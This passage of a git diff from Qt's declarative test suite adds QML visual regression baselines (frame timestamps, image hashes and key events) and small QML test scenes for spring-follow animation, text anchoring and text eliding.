"01ac8ff953f8f83c6fa2252fe6ff6698" + } + Frame { + msec: 6816 + hash: "01ac8ff953f8f83c6fa2252fe6ff6698" + } + Frame { + msec: 6832 + hash: "96008d5b8446f67e07129d02300d122d" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 6848 + hash: "5d0fc4842b75703d29816fa0330624ba" + } + Frame { + msec: 6864 + hash: "5d0fc4842b75703d29816fa0330624ba" + } + Frame { + msec: 6880 + hash: "5d0fc4842b75703d29816fa0330624ba" + } + Frame { + msec: 6896 + hash: "5d0fc4842b75703d29816fa0330624ba" + } + Frame { + msec: 6912 + hash: "5d0fc4842b75703d29816fa0330624ba" + } + Frame { + msec: 6928 + hash: "5d0fc4842b75703d29816fa0330624ba" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/follow.qml b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/follow.qml new file mode 100644 index 0000000..1659bb7 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/follow.qml @@ -0,0 +1,71 @@ +import Qt 4.6 + +Rectangle { + color: "#ffffff" + width: 320; height: 240 + Rectangle { + id: rect + color: "#00ff00" + y: 200; width: 60; height: 20 + SequentialAnimation on y { + loops: Animation.Infinite + NumberAnimation { + to: 20; duration: 500 + easing.type: "InOutQuad" + } + NumberAnimation { + to: 200; duration: 2000 + easing.type: "OutBounce" + } + PauseAnimation { duration: 1000 } + } + } + + // Velocity + Rectangle { + color: "#ff0000" + x: rect.width; width: rect.width; height: 20 + y: 200 + SpringFollow on y { source: rect.y; velocity: 200 } + } + + // Spring + Rectangle { + color: "#ff0000" + x: rect.width * 2; width: rect.width/2; height: 20 + y: 200 + SpringFollow on y { source: rect.y; spring: 1.0; damping: 0.2 } + } + Rectangle { + color: "#880000" + x: rect.width * 2.5; width: rect.width/2; height: 20 + y: 200 + SpringFollow on y { source: rect.y; spring: 1.0; damping: 0.2; mass: 3.0 } // "heavier" object + } + + // Follow mouse + MouseArea { + id: mouseRegion + anchors.fill: parent + Rectangle { + id: ball + width: 20; height: 20 + radius: 10 + color: "#0000ff" + SpringFollow on x { id: f1; source: mouseRegion.mouseX-10; spring: 1.0; damping: 0.05; epsilon: 0.25 } + SpringFollow on y { id: f2; source: mouseRegion.mouseY-10; spring: 1.0; damping: 0.05; epsilon: 0.25 } + states: [ + State { + name: "following" + when: !f1.inSync || !f2.inSync + PropertyChanges { target: ball; color: "#ff0000" } + } + ] + transitions: [ + Transition { + ColorAnimation { duration: 200 } + } + ] + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.qml new file mode 100644 index 0000000..56d616e --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.qml @@ -0,0 +1,131 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 32 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 48 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 64 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 80 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 96 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 112 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 128 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 144 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 160 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 176 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 192 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 208 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 224 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 240 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 256 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 272 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 288 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 304 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 320 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 336 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 352 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 368 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 384 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 400 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 416 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 432 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 448 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 464 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 480 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 496 + hash: "3e022a120a2dbe688d53657508de36cf" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data/parentanchor.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data/parentanchor.qml new file mode 100644 index 0000000..56d616e --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data/parentanchor.qml @@ -0,0 +1,131 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 32 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 48 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 64 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 80 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 96 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 112 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 128 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 144 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 160 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 176 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 192 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 208 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 224 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 240 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 256 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 272 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 288 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 304 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 320 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 336 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 352 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 368 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 384 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 400 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 416 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 432 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 448 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 464 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 480 + hash: "3e022a120a2dbe688d53657508de36cf" + } + Frame { + msec: 496 + hash: "3e022a120a2dbe688d53657508de36cf" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/parentanchor.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/parentanchor.qml new file mode 100644 index 0000000..80f0f03 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/parentanchor.qml @@ -0,0 +1,14 @@ +import Qt 4.6 + +Rectangle { + id: s; width: 600; height: 100; color: "lightsteelblue" + property string text: "The quick brown fox jumps over the lazy dog." + Text { + text: s.text + anchors.verticalCenter: s.verticalCenter + } + Text { + text: s.text + anchors.baseline: s.verticalCenter + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.0.png new file mode 100644 index 0000000..eea3362 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.qml new file mode 100644 index 0000000..1ccede4 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.qml @@ -0,0 +1,279 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 32 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 48 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 64 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 80 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 96 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 112 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 128 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 144 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 160 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 176 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 192 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 208 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 224 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 240 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 256 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 272 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 288 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 304 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 320 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 336 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 352 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 368 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 384 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 400 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 416 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 432 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 448 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 464 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 480 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 496 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 512 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 528 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 544 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 560 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 576 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 592 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 608 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 624 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 640 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 656 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 672 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 688 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 704 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 720 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 736 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 752 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 768 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 784 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 800 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 816 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 832 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 848 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 864 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 880 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 896 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 912 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 928 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 944 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 960 + image: "elide.0.png" + } + Frame { + msec: 976 + hash: "1678890d66761a30100c37132ccec9a2" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 992 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 1008 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 1024 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 1040 + hash: "1678890d66761a30100c37132ccec9a2" + } + Frame { + msec: 1056 + hash: "1678890d66761a30100c37132ccec9a2" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.0.png new file mode 100644 index 0000000..3dfade5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.1.png new file mode 100644 index 0000000..1ee2076 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.2.png new file mode 100644 index 0000000..ae680be Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.3.png new file mode 100644 index 0000000..c2859be Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.qml new file mode 100644 index 0000000..07ad236 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.qml @@ -0,0 +1,991 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 32 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 48 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 64 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 80 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 96 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 112 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 128 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 144 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 160 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 176 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 192 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 208 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 224 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 240 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 256 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 272 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 288 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 304 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 320 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 336 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 352 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 368 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 384 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 400 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 416 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 432 + hash: "fc3a7e898d6bfa2af4d774b20609f967" + } + Frame { + msec: 448 + hash: "fc3a7e898d6bfa2af4d774b20609f967" + } + Frame { + msec: 464 + hash: "fc3a7e898d6bfa2af4d774b20609f967" + } + Frame { + msec: 480 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 496 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 512 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 528 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 544 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 560 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 576 + hash: "4daa612cd7e7ee455ff1a93329202865" + } + Frame { + msec: 592 + hash: "4daa612cd7e7ee455ff1a93329202865" + } + Frame { + msec: 608 + hash: "4daa612cd7e7ee455ff1a93329202865" + } + Frame { + msec: 624 + hash: "4daa612cd7e7ee455ff1a93329202865" + } + Frame { + msec: 640 + hash: "4daa612cd7e7ee455ff1a93329202865" + } + Frame { + msec: 656 + hash: "3f362ad550db910f1d9f261557c65913" + } + Frame { + msec: 672 + hash: "3f362ad550db910f1d9f261557c65913" + } + Frame { + msec: 688 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 704 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 720 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 736 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 752 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 768 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 784 + hash: "a892c67199c23e5d9012a6a24cb45d16" + } + Frame { + msec: 800 + hash: "a892c67199c23e5d9012a6a24cb45d16" + } + Frame { + msec: 816 + hash: "a892c67199c23e5d9012a6a24cb45d16" + } + Frame { + msec: 832 + hash: "532e01ed6ede95eca68e641e2edb7f1c" + } + Frame { + msec: 848 + hash: "532e01ed6ede95eca68e641e2edb7f1c" + } + Frame { + msec: 864 + hash: "532e01ed6ede95eca68e641e2edb7f1c" + } + Frame { + msec: 880 + hash: "532e01ed6ede95eca68e641e2edb7f1c" + } + Frame { + msec: 896 + hash: "532e01ed6ede95eca68e641e2edb7f1c" + } + Frame { + msec: 912 + hash: "a7dc1d7dde956d62834de0968261386f" + } + Frame { + msec: 928 + hash: "a7dc1d7dde956d62834de0968261386f" + } + Frame { + msec: 944 + hash: "a7dc1d7dde956d62834de0968261386f" + } + Frame { + msec: 960 + image: "elide2.0.png" + } + Frame { + msec: 976 + hash: "a7dc1d7dde956d62834de0968261386f" + } + Frame { + msec: 992 + hash: "a590e1358fac567dda9fdfc6bfe4ab89" + } + Frame { + msec: 1008 + hash: "a590e1358fac567dda9fdfc6bfe4ab89" + } + Frame { + msec: 1024 + hash: "778d34ca89b5db88fe26619576e9d337" + } + Frame { + msec: 1040 + hash: "778d34ca89b5db88fe26619576e9d337" + } + Frame { + msec: 1056 + hash: "778d34ca89b5db88fe26619576e9d337" + } + Frame { + msec: 1072 + hash: "778d34ca89b5db88fe26619576e9d337" + } + Frame { + msec: 1088 + hash: "778d34ca89b5db88fe26619576e9d337" + } + Frame { + msec: 1104 + hash: "9424caee019aa9bccd4156b0b9ca2723" + } + Frame { + msec: 1120 + hash: "9424caee019aa9bccd4156b0b9ca2723" + } + Frame { + msec: 1136 + hash: "9424caee019aa9bccd4156b0b9ca2723" + } + Frame { + msec: 1152 + hash: "000061a140ab71a44c0480a92ad3bc70" + } + Frame { + msec: 1168 + hash: "000061a140ab71a44c0480a92ad3bc70" + } + Frame { + msec: 1184 + hash: "000061a140ab71a44c0480a92ad3bc70" + } + Frame { + msec: 1200 + hash: "5dec9638853165428cd15ae02e1d03ce" + } + Frame { + msec: 1216 + hash: "5dec9638853165428cd15ae02e1d03ce" + } + Frame { + msec: 1232 + hash: "5dec9638853165428cd15ae02e1d03ce" + } + Frame { + msec: 1248 + hash: "ecb69bdbd13114715f738b1ace3ecf51" + } + Frame { + msec: 1264 + hash: "ecb69bdbd13114715f738b1ace3ecf51" + } + Frame { + msec: 1280 + hash: "ecb69bdbd13114715f738b1ace3ecf51" + } + Frame { + msec: 1296 + hash: "ecb69bdbd13114715f738b1ace3ecf51" + } + Frame { + msec: 1312 + hash: "ecb69bdbd13114715f738b1ace3ecf51" + } + Frame { + msec: 1328 + hash: "923b4f4f4a3dbaefbf003859067b2ea9" + } + Frame { + msec: 1344 + hash: "923b4f4f4a3dbaefbf003859067b2ea9" + } + Frame { + msec: 1360 + hash: "923b4f4f4a3dbaefbf003859067b2ea9" + } + Frame { + msec: 1376 + hash: "923b4f4f4a3dbaefbf003859067b2ea9" + } + Frame { + msec: 1392 + hash: "923b4f4f4a3dbaefbf003859067b2ea9" + } + Frame { + msec: 1408 + hash: "d4230a476237f9e13a132e775f1b960c" + } + Frame { + msec: 1424 + hash: "d4230a476237f9e13a132e775f1b960c" + } + Frame { + msec: 1440 + hash: "d4230a476237f9e13a132e775f1b960c" + } + Frame { + msec: 1456 + hash: "d4230a476237f9e13a132e775f1b960c" + } + Frame { + msec: 1472 + hash: "d4230a476237f9e13a132e775f1b960c" + } + Frame { + msec: 1488 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1504 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1520 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1536 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1552 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1568 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1584 + hash: "dd412c6a2e5cb8890cb43142c84a5673" + } + Frame { + msec: 1600 + hash: "dd412c6a2e5cb8890cb43142c84a5673" + } + Frame { + msec: 1616 + hash: "dd412c6a2e5cb8890cb43142c84a5673" + } + Frame { + msec: 1632 + hash: "38b1fa7bd4e2f13b05caa62903c56ab6" + } + Frame { + msec: 1648 + hash: "38b1fa7bd4e2f13b05caa62903c56ab6" + } + Frame { + msec: 1664 + hash: "38b1fa7bd4e2f13b05caa62903c56ab6" + } + Frame { + msec: 1680 + hash: "38b1fa7bd4e2f13b05caa62903c56ab6" + } + Frame { + msec: 1696 + hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" + } + Frame { + msec: 1712 + hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" + } + Frame { + msec: 1728 + hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" + } + Frame { + msec: 1744 + hash: "9effd5fc19246cfe3d2f5968c5caaa4e" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1760 + hash: "9effd5fc19246cfe3d2f5968c5caaa4e" + } + Frame { + msec: 1776 + hash: "9effd5fc19246cfe3d2f5968c5caaa4e" + } + Frame { + msec: 1792 + hash: "9effd5fc19246cfe3d2f5968c5caaa4e" + } + Frame { + msec: 1808 + hash: "4fa14ae57d170b16fd90d59d5ec83561" + } + Frame { + msec: 1824 + hash: "4fa14ae57d170b16fd90d59d5ec83561" + } + Frame { + msec: 1840 + hash: "4fa14ae57d170b16fd90d59d5ec83561" + } + Frame { + msec: 1856 + hash: "4fa14ae57d170b16fd90d59d5ec83561" + } + Frame { + msec: 1872 + hash: "4fa14ae57d170b16fd90d59d5ec83561" + } + Frame { + msec: 1888 + hash: "976dd5bc154522438f92790f28639512" + } + Frame { + msec: 1904 + hash: "976dd5bc154522438f92790f28639512" + } + Frame { + msec: 1920 + image: "elide2.1.png" + } + Frame { + msec: 1936 + hash: "976dd5bc154522438f92790f28639512" + } + Frame { + msec: 1952 + hash: "976dd5bc154522438f92790f28639512" + } + Frame { + msec: 1968 + hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" + } + Frame { + msec: 1984 + hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" + } + Frame { + msec: 2000 + hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" + } + Frame { + msec: 2016 + hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" + } + Frame { + msec: 2032 + hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" + } + Frame { + msec: 2048 + hash: "84bdf634cfd4de588f2b0984aa3e97bd" + } + Frame { + msec: 2064 + hash: "84bdf634cfd4de588f2b0984aa3e97bd" + } + Frame { + msec: 2080 + hash: "84bdf634cfd4de588f2b0984aa3e97bd" + } + Frame { + msec: 2096 + hash: "1a978ed6951afe40912efcfb54dcce65" + } + Frame { + msec: 2112 + hash: "1a978ed6951afe40912efcfb54dcce65" + } + Frame { + msec: 2128 + hash: "1a978ed6951afe40912efcfb54dcce65" + } + Frame { + msec: 2144 + hash: "a57eea59fe6475164e24688489977869" + } + Frame { + msec: 2160 + hash: "a57eea59fe6475164e24688489977869" + } + Frame { + msec: 2176 + hash: "a57eea59fe6475164e24688489977869" + } + Frame { + msec: 2192 + hash: "69ac1d93bd51f495783dbc6a0f7b27be" + } + Frame { + msec: 2208 + hash: "69ac1d93bd51f495783dbc6a0f7b27be" + } + Frame { + msec: 2224 + hash: "69ac1d93bd51f495783dbc6a0f7b27be" + } + Frame { + msec: 2240 + hash: "69ac1d93bd51f495783dbc6a0f7b27be" + } + Frame { + msec: 2256 + hash: "69ac1d93bd51f495783dbc6a0f7b27be" + } + Frame { + msec: 2272 + hash: "04c62a4d01e9309eaeea87902013c8b9" + } + Frame { + msec: 2288 + hash: "04c62a4d01e9309eaeea87902013c8b9" + } + Frame { + msec: 2304 + hash: "fac2f5730a600d6b69280d5e6962c1d2" + } + Frame { + msec: 2320 + hash: "fac2f5730a600d6b69280d5e6962c1d2" + } + Frame { + msec: 2336 + hash: "fac2f5730a600d6b69280d5e6962c1d2" + } + Frame { + msec: 2352 + hash: "fac2f5730a600d6b69280d5e6962c1d2" + } + Frame { + msec: 2368 + hash: "fac2f5730a600d6b69280d5e6962c1d2" + } + Frame { + msec: 2384 + hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" + } + Frame { + msec: 2400 + hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" + } + Frame { + msec: 2416 + hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" + } + Frame { + msec: 2432 + hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" + } + Frame { + msec: 2448 + hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" + } + Frame { + msec: 2464 + hash: "96a5678ee5bcbf28df6a2bf66b2b6189" + } + Frame { + msec: 2480 + hash: "96a5678ee5bcbf28df6a2bf66b2b6189" + } + Frame { + msec: 2496 + hash: "96a5678ee5bcbf28df6a2bf66b2b6189" + } + Frame { + msec: 2512 + hash: "96a5678ee5bcbf28df6a2bf66b2b6189" + } + Frame { + msec: 2528 + hash: "96a5678ee5bcbf28df6a2bf66b2b6189" + } + Frame { + msec: 2544 + hash: "abb220abcd579abd988b6f9f7e0bc2b7" + } + 